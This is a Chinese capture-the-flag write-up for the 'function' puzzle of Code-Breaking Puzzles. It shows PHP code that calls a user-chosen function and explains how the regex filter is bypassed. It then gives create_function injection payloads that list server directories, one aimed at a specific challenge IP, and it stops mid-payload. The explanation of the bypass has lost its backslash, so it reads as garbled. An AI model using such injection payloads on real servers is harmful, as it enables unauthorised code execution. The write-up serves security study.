文章目录
前言
Code-Breaking Puzzles是一场完全开放源代码的Web解密游戏,其包含但不限于PHP、Java、Node.js、Python等语言的代码审计知识。
p师傅的知识星球真是干货多多,刚刚加入就遇到这个,赶忙的学习了一波.
function PHP函数利用技巧
pcrewaf PHP正则特性
phpmagic PHP写文件技巧
phplimit PHP代码执行限制绕过
easy - function
<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';
if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
show_source(__FILE__);
} else {
$action('', $arg);
}
- 先看正则表达式,用了3个模式修饰符,
i:大小写不敏感
s:.
要匹配换行符
D:$
要匹配换行符
匹配了以字母数字或下划线的字符串的,我们需要在开头或结尾加入某个字符来绕过正则且函数依然能调用
php里默认命名空间是,所有原生函数和类都在这个命名空间中。普通调用一个函数,如果直接写函数名function_name()调用,调用的时候其实相当于写了一个相对路径;而如果写function_name() 这样调用函数,则其实是写了一个绝对路径。如果你在其他namespace里调用系统类,就必须写绝对路径这种写法。
所以可以通过function_name这样的形式绕过正则
- 我们可以控制函数的第二个参数
$arg
,需要某个函数的第二个参数比较危险
payload
遍历目录
?action=create_function&arg=return 1;}var_dump(glob("/var/www/*"));//
或
http://51.158.75.42:8087/?action=create_function&arg=return 1;}var_dump(scandir("/var/www/"));//
获取flag
?action=create_f